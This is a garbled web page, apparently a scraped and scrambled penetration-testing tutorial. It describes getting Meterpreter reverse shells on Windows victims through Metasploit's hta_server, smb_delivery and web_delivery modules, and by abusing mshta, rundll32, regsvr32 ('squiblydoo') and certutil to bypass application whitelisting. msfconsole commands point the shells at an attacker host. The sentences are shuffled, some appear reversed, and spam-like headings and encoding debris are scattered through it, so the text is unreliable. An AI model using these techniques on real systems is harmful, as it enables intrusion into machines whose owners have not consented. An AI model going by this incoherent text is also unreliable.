Generate a malicious executable (.exe) file with msfvenom and start multi/handler to get the reverse shell of the victim’s machine. We can use this tool to execute our malicious exe file in the target machine to get a meterpreter session. regsvr32 /s /n /u /i: scrobj.dllĬertutil.exe is a command-line program that is installed as part of Certificate Services. Once you will execute the scrobj.dll file on the remote machine with the help of regsrv32.exe, you will get the reverse connection at your local machine (Kali Linux). Msf exploit (web_delivery)>set srvhost 192.168.1.109Ĭopy the highlighted text shown in below window Msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed. sct file and PowerShell download/execute) can occur on the same port. sct file and then execute the included PowerShell command inside of it. The signed Microsoft binary file, Regsvr32, is able to request a. Regsvr32 uses “squiblydoo” technique for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. It will do it either specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting.
OPEN NETCAT WINDOWS DOWNLOAD
The provided command which will allow for a payload to download and execute. This module quickly fires up a web server that serves a payload. Launch Regsvr32 via Script Web Delivery of Metasploit n – do not call DllRegisterServer this option must be used with /i i – Call DllInstall passing it an optional when it is used with /u, it calls dll to uninstall RegSvr32.exe has the following command-line options:
OPEN NETCAT WINDOWS WINDOWS
Regsvr32.exe is installed in the %systemroot%\System32 folder in Windows XP and later versions of Windows. Regsvr32 is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry.
Once you will execute the dll file on the remote machine with the help of rundll32.exe, you will get the reverse connection at your local machine (Kali Linux).
OPEN NETCAT WINDOWS CODE
Now run the malicious code through rundll32.exe on the victim machine (vulnerable to RCE) to obtain meterpreter sessions.
Msf exploit(windows/smb/smb_delivery) > exploit Msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Metasploit also contain the “SMB Delivery” module which generates malicious dll file. Launch Rundll32 Attack via SMB Delivery of Metasploit Rundll32.exe is associated with Windows Operating System that allows you to invoke a function exported from a DLL, either 16-bit or 32-bit and store it in proper memory libraries. mshta.exe Īs you can observe, we have the meterpreter session of the victim as shown below: Once you will execute the malicious hta file on the remote machine with the help of mshta.exe, you get the reverse connection at your local machine (Kali Linux). Now run the malicious code through mshta.exe on the victim’s machine (vulnerable to RCE) to obtain meterpreter sessions. Msf exploit(windows/misc/hta_server) > exploit Msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 Msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. Metasploit contain the “HTA Web Server” module which generates malicious hta file. You can interpret these files using the Microsoft MSHTA.exe tool. HTML files that we can run JavaScript or VBScript with. Mshta.exe runs the Microsoft HTML Application Host, the Windows OS utility responsible for running HTA( HTML Application) files.
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